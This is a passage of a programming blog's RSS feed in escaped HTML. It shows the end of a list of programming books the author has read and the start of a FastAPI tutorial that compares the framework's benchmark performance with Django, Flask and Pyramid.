Badenhorst&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/practical-python-design-patterns.jpg&#34; alt=&#34;Practical Python Design Patterns by Wessel Badenhorst&#34;/&gt;&#xA;    &lt;figcaption&gt;Practical Python Design Patterns by Wessel Badenhorst&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg&#34; aria-label=&#34;Python tricks the book by Dan Bader&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg&#34; alt=&#34;Python tricks the book by Dan Bader&#34;/&gt;&#xA;    &lt;figcaption&gt;Python tricks the book by Dan Bader&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/web-development-with-django-cookbook.jpg&#34; aria-label=&#34;Web Development with Django Cookbook by Aidas Bendoraitis&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/web-development-with-django-cookbook.jpg&#34; alt=&#34;Web Development with Django Cookbook by Aidas Bendoraitis&#34;/&gt;&#xA;    &lt;figcaption&gt;Web Development with Django Cookbook by Aidas Bendoraitis&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/two-scoops-of-django.jpg&#34; aria-label=&#34;Two scoops of Django by Daniel Roy Greenfeld and Audrey Roy Greenfeld&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/two-scoops-of-django.jpg&#34; alt=&#34;Two scoops of Django by Daniel Roy Greenfeld and Audrey Roy Greenfeld&#34;/&gt;&#xA;    &lt;figcaption&gt;Two scoops of Django by Daniel Roy Greenfeld and Audrey Roy Greenfeld&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg&#34; aria-label=&#34;Eloquent JavaScript: A Modern Introduction to Programming by Marijin Haverbeke&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg&#34; alt=&#34;Eloquent JavaScript: A Modern Introduction to Programming by Marijin Haverbeke&#34;/&gt;&#xA;    &lt;figcaption&gt;Eloquent JavaScript: A Modern Introduction to Programming by Marijin Haverbeke&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-definitive-guide-to-django.jpg&#34; aria-label=&#34;Definitive Guide to Django: Web Development Done Right by Adrian Holovaty and Jacob Kaplan Moss (Traducción by Saul Garcia M.)&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-definitive-guide-to-django.jpg&#34; alt=&#34;Definitive Guide to Django: Web Development Done Right by Adrian Holovaty and Jacob Kaplan Moss (Traducción by Saul Garcia M.)&#34;/&gt;&#xA;    &lt;figcaption&gt;Definitive Guide to Django: Web Development Done Right by Adrian Holovaty and Jacob Kaplan Moss (Traducción by Saul Garcia M.)&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/django-by-example.jpg&#34; aria-label=&#34;Django by Example by Antonio Melé&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/django-by-example.jpg&#34; alt=&#34;Django by Example by Antonio Melé&#34;/&gt;&#xA;    &lt;figcaption&gt;Django by Example by Antonio Melé&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/building-apis-with-django-and-drf.jpg&#34; aria-label=&#34;Building APIS With Django and Django Rest Framework by Agiliq&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/building-apis-with-django-and-drf.jpg&#34; alt=&#34;Building APIS With Django and Django Rest Framework by Agiliq&#34;/&gt;&#xA;    &lt;figcaption&gt;Building APIS With Django and Django Rest Framework by Agiliq&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/clean-code.jpg&#34; aria-label=&#34;Clean Code by Robert C. Marin&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/clean-code.jpg&#34; alt=&#34;Clean Code by Robert C. Marin&#34;/&gt;&#xA;    &lt;figcaption&gt;Clean Code by Robert C. Marin&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/django-for-professionals.jpg&#34; aria-label=&#34;Django for Professionals by William S. Vincent&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/django-for-professionals.jpg&#34; alt=&#34;Django for Professionals by William S. Vincent&#34;/&gt;&#xA;    &lt;figcaption&gt;Django for Professionals by William S. Vincent&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg&#34; aria-label=&#34;The algorithm design manual by Steven S. SKiena&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg&#34; alt=&#34;The algorithm design manual by Steven S. SKiena&#34;/&gt;&#xA;    &lt;figcaption&gt;The algorithm design manual by Steven S. SKiena&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/javascript-the-good-parts.jpg&#34; aria-label=&#34;JavaScript the good parts by Douglas CrockFord&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/javascript-the-good-parts.jpg&#34; alt=&#34;JavaScript the good parts by Douglas CrockFord&#34;/&gt;&#xA;    &lt;figcaption&gt;JavaScript the good parts by Douglas CrockFord&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-pocket-reference.jpg&#34; aria-label=&#34;Python Pocket Reference by Mark Lutz&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-pocket-reference.jpg&#34; alt=&#34;Python Pocket Reference by Mark Lutz&#34;/&gt;&#xA;    &lt;figcaption&gt;Python Pocket Reference by Mark Lutz&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/cpp-pocket-reference.jpg&#34; aria-label=&#34;C&amp;#43;&amp;#43; Pocker Reference by Kyle Loudon&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/cpp-pocket-reference.jpg&#34; alt=&#34;C&amp;#43;&amp;#43; Pocker Reference by Kyle Loudon&#34;/&gt;&#xA;    &lt;figcaption&gt;C&amp;#43;&amp;#43; Pocker Reference by Kyle Loudon&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/learning-python.jpg&#34; aria-label=&#34;Learning Python by Mark Lutz&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/learning-python.jpg&#34; alt=&#34;Learning Python by Mark Lutz&#34;/&gt;&#xA;    &lt;figcaption&gt;Learning Python by Mark Lutz&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-web-development.jpg&#34; aria-label=&#34;Python Web Development with Django by Jeff Forcier, Paul Bissex and Wesley Chun&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-web-development.jpg&#34; alt=&#34;Python Web Development with Django by Jeff Forcier, Paul Bissex and Wesley Chun&#34;/&gt;&#xA;    &lt;figcaption&gt;Python Web Development with Django by Jeff Forcier, Paul Bissex and Wesley Chun&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/c-programming.jpg&#34; aria-label=&#34;C Programming Absolute Beginner&amp;rsquo;s Guide by Stephani Danelle Perry&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/c-programming.jpg&#34; alt=&#34;C Programming Absolute Beginner&amp;rsquo;s Guide by Stephani Danelle Perry&#34;/&gt;&#xA;    &lt;figcaption&gt;C Programming Absolute Beginner&amp;#39;s Guide by Stephani Danelle Perry&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-c-programming-language.jpg&#34; aria-label=&#34;C Programming Language by Brian W. Kernighan and Dennis M. Ritchie&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-c-programming-language.jpg&#34; alt=&#34;C Programming Language by Brian W. Kernighan and Dennis M. Ritchie&#34;/&gt;&#xA;    &lt;figcaption&gt;C Programming Language by Brian W. Kernighan and Dennis M. Ritchie&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/code.jpg&#34; aria-label=&#34;Code: the hidden language of computer hardware and software by Charles Petzold&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/code.jpg&#34; alt=&#34;Code: the hidden language of computer hardware and software by Charles Petzold&#34;/&gt;&#xA;    &lt;figcaption&gt;Code: the hidden language of computer hardware and software by Charles Petzold&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/aprenda-cpp-basico.jpg&#34; aria-label=&#34;Aprenda C&amp;#43;&amp;#43; Básico by Paul Bustamante, Iker Aguinaga, Miguel Aybar, Luis Olaizola and Iñigo Lazacano&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/aprenda-cpp-basico.jpg&#34; alt=&#34;Aprenda C&amp;#43;&amp;#43; Básico by Paul Bustamante, Iker Aguinaga, Miguel Aybar, Luis Olaizola and Iñigo Lazacano&#34;/&gt;&#xA;    &lt;figcaption&gt;Aprenda C&amp;#43;&amp;#43; Básico by Paul Bustamante, Iker Aguinaga, Miguel Aybar, Luis Olaizola and Iñigo Lazacano&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/aprenda-cpp-avanzado.jpg&#34; aria-label=&#34;Aprenda C&amp;#43;&amp;#43; Avanzado by Paul Bustamante, Iker Aguinaga, Miguel Aybar, Luis Olaizola and Iñigo Lazacano&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/aprenda-cpp-avanzado.jpg&#34; alt=&#34;Aprenda C&amp;#43;&amp;#43; Avanzado by Paul Bustamante, Iker Aguinaga, Miguel Aybar, Luis Olaizola and Iñigo Lazacano&#34;/&gt;&#xA;    &lt;figcaption&gt;Aprenda C&amp;#43;&amp;#43; Avanzado by Paul Bustamante, Iker Aguinaga, Miguel Aybar, Luis Olaizola and Iñigo Lazacano&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;h2 id=&#34;currently-reading&#34;&gt;Currently reading&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;m currently reading:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1762554573/coffee-bytes/system-design-interview-ii-book-cover-350_ygf5mc.jpg&#34; aria-label=&#34;System design Interview Part II&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1762554573/coffee-bytes/system-design-interview-ii-book-cover-350_ygf5mc.jpg&#34; alt=&#34;System design Interview Part II&#34;/&gt;&#xA;    &lt;figcaption&gt;System design Interview Part II&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;books-i-read&#34;&gt;Books I read&lt;/h2&gt;&#xA;&lt;p&gt;The list below contains almost all the books I&amp;rsquo;ve read about programming and web development. Most of them are written in English, some others in Spanish (It&amp;rsquo;s arduous to find good technical books written in spanish). .&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve reviewed some of them, I hope to review most of them in the near future, before they become obsolete.&lt;/p&gt;</summary>
    </item>
    
    
    
    <item>
      <title>FastAPI tutorial, the best Python framework?</title>
      <link>https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/</link>
      <pubDate>Tue, 27 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/</guid>
      
      <category>docker</category>
      
      <category>fastapi</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;These last few days I have been testing a Python library that is becoming famous, FastAPI, a framework for creating APIs, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST APIs&lt;/a&gt;&#xA; or RPC APIs. FastAPI promises to help us create fast APIs in a simple way, with very little code and with extraordinary performance, to support high concurrency websites.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fastapi-vs-django-vs-flask-vs-pyramid&#34;&gt;FastAPI vs Django vs Flask vs Pyramid&lt;/h2&gt;&#xA;&lt;p&gt;Is FastAPI really that fast? Yes, at least that&amp;rsquo;s the evidence. FastAPI is in first place in responses per second compared to more popular Frameworks such as Django, Pyramid or Flask. And it is also in the first places if we compare it with Frameworks of other programming languages, such as PHP or Javascript.&lt;/p&gt;&#xA;&lt;h3 id=&#34;fastapi-vs-django&#34;&gt;FastAPI vs Django&lt;/h3&gt;&#xA;&lt;p&gt;FastAPI focuses on creating APIs in a simple and very efficient way, Django can do the same using its DRF library and ORM, but I don&amp;rsquo;t consider them to be direct competitors. Why? Well, because Django focuses on being more of an end-to-end solution, covering everything from a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/&#34;&gt;sessions and authentication system&lt;/a&gt;&#xA;, ORM, template rendering, form creation and management, middleware, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/&#34;&gt;caching system&lt;/a&gt;&#xA;, its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/&#34;&gt;admin panel included&lt;/a&gt;&#xA;, i18n and many other aspects.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, FastAPI leaves the way open to the developer, so, as it covers different needs, the comparison does not apply.&lt;/p&gt;&#xA;&lt;h3 id=&#34;fastapi-vs-flask&#34;&gt;FastAPI vs Flask&lt;/h3&gt;&#xA;&lt;p&gt;Unlike Django, I do consider Flask to be a more direct competitor to FastAPI. Both frameworks have some similarity in syntax and are characterized by being fairly lightweight and offering minimal functionality. FastAPI offers validation, while Flask does not, FastAPI offers automatic documentation, while Flask does not. In addition FastAPI offers better performance according to available tests.&lt;/p&gt;&#xA;&lt;p&gt;See the following comparisons using information from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.techempower.com/benchmarks&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Techempower&lt;/a&gt;&#xA;. I have highlighted in blue the Python frameworks.&lt;/p&gt;&#xA;&lt;h3 id=&#34;performance-for-requests-with-a-query&#34;&gt;Performance for requests with a query&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The number indicates the number of responses per second for a single query, of course the higher the better.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/SingleQueryFastApi.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/SingleQueryFastApi.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comparison chart of number of responses per second for request returning a row from the database. FastAPI in second place.&#34; width=&#34;1275&#34; height=&#34;766&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Number of responses per second for requests returning a row from the database. Information taken from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.techempower.com/benchmarks&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://www.techempower.com/benchmarks&lt;/a&gt;&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;performance-for-requests-with-20-queries&#34;&gt;Performance for requests with 20 queries&lt;/h3&gt;&#xA;&lt;p&gt;But what about requests with higher loads? This image shows the number of responses for a request with 20 queries, again, the higher the better.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/MultipleQueryFastApi.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/MultipleQueryFastApi.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comparison of number of responses per second for request returning twenty rows from database. FastAPI in second place.&#34; width=&#34;1275&#34; height=&#34;766&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Number of responses per second for requests returning twenty rows from the database. Information taken from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.techempower.com/benchmarks&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://www.techempower.com/benchmarks&lt;/a&gt;&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;According to information provided by Techempower, &lt;strong&gt;FastAPI is tremendously faster than Django, Flask and Pyramid&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But how about its compatibility with newer versions of Python?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;typing-and-asynchronism-in-python&#34;&gt;Typing and asynchronism in Python&lt;/h2&gt;&#xA;&lt;p&gt;FastAPI is fully compatible with the typing and asynchronism of the latest versions of Python.&lt;/p&gt;&#xA;&lt;p&gt;In order to keep this tutorial as simple as possible I will use them &lt;strong&gt;only where necessary&lt;/strong&gt;, if it is not strictly necessary to include them I will omit them. I mention the above so that you take into account that each code fragment where FastAPI is used can incorporate asynchronism and typing, as you consider necessary.&lt;/p&gt;&#xA;&lt;p&gt;Now that you&amp;rsquo;ve seen why it&amp;rsquo;s worth using, why not give it a try?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;fastapi-basic-tutorial&#34;&gt;FastAPI Basic Tutorial&lt;/h2&gt;&#xA;&lt;h3 id=&#34;fastapi-installation&#34;&gt;FastAPI installation&lt;/h3&gt;&#xA;&lt;p&gt;To install it we are going to create a virtual environment with 